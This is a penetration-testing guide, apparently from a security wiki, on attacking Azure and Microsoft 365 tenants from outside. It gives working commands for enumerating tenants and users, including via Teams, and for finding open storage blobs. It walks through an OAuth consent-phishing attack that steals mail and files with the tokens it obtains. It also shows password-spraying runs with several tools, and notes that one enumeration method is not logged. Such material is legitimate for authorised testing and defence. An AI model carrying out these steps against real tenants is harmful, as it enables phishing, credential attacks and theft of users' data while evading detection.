## Azure Tenant
### Tenant Enumeration
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
| API | Information | AADInternals function |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
```powershell
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Output Example of the Azure tenant info:
```
Tenant brand: Company Ltd
Tenant name: company
Tenant id: 1937e3ab-38de-a735-a830-3075ea7e5b39
DesktopSSO enabled: True
Name DNS MX SPF Type STS
---- --- -- --- ---- ---
company.com True True True Federated sts.company.com
company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.
Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.
### User Enumeration
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
The email is user’s email address where at “@” is replaced with underscore “\_“.
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
```powershell
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
Output:
```
UserName Exists
-------- ------
user@company.com True
```
You can also use a text file containing one email address per row:
```
user@company.com
user2@company.com
admin@company.com
admin2@company.com
external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
There are **three different enumeration methods** to choose from:
| Method | Description |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
After discovering the valid usernames you can get **info about a user** with:
```powershell
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
```powershell
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
```
**User Enumeration via Microsoft Teams**
Another good source of information is Microsoft Teams.
The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts.
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
```bash
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
```
Output:
```
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
[+] user2@domain - User2 | Company (Away, Mobile)
[+] user3@domain - User3 | Company (Available, Desktop)
```
Furthermore it is possible to enumerate availability information about existing users like the following:
* Available
* Away
* DoNotDisturb
* Busy
* Offline
If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
```
jq . teamsenum-output.json
```
Output:
```json
{
"email": "user2@domain",
"exists": true,
"info": [
{
"tenantId": "[REDACTED]",
"isShortProfile": false,
"accountEnabled": true,
"featureSettings": {
"coExistenceMode": "TeamsOnly"
},
"userPrincipalName": "user2@domain",
"givenName": "user2@domain",

"email": "user2@domain",

}
]
}
```
## Azure Services
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Open Storage
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
[...]
# Access https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
# Check: <Name>ssh_info.json</Name>
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
```
### SAS URLs
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data

## OAuth App Phishing
**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.
### App consent permissions
By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline\_access**, although it's possible to **add more** to this list.
nd if they can consent to all apps, they can consent to all apps.
### 2 Types of attacks
* **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
* This requires the phished user to be **able to accept OAuth apps from external tenant**
* If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
* **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
* In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
* You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
### Users are allowed to consent
Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
{% code overflow="wrap" %}
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
{% endcode %}
* Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
* Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
* **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
It's possible to find the meaning of each of the commented policies in:
{% code overflow="wrap" %}
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
{% endcode %}
### **Application Admins**
Check users that are considered application admins (can accept new applications):
{% code overflow="wrap" %}
```bash
# Get list of roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
# Get Global Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
```
{% endcode %}
## **Attack Flow Overview**
The attack involves several steps targeting a generic company. Here's how it might unfold:
1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.
## Example Attack
1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
2. Then create an application secret:
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
4. **Execute the web page (**[**azure\_oauth\_phishing\_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
{% code overflow="wrap" %}
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
{% endcode %}
5. **Send the URL to the victim**
1. In this case `http://localhost:8000`
6. **Victims** needs to **accept the prompt:**
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
7. Use the **access token to access the requested permissions**:
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>
# List drive files
curl -X GET \
https://graph.microsoft.com/v1.0/me/drive/root/children \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List eails
curl -X GET \
https://graph.microsoft.com/v1.0/me/messages \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
# List notes
curl -X GET \
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Accept: application/json"
```

* [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
## Post-Exploitation
### Phishing Post-Exploitation
Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use this permissions to perform those actions.
### Application Post Exploitation

## Password Spray
In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
```bash
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
#Gmail
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
```

## Virtual Machines

### Exposed vulnerable service
A network service that is vulnerable to some RCE.
### Public Gallery Images
A public image might have secrets inside of it:
{% code overflow="wrap" %}
```bash
# List all community galleries
az sig list-community --output table
# Search by publisherUri
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
```
{% endcode %}
### Public Extensions
This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
```bash
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
```
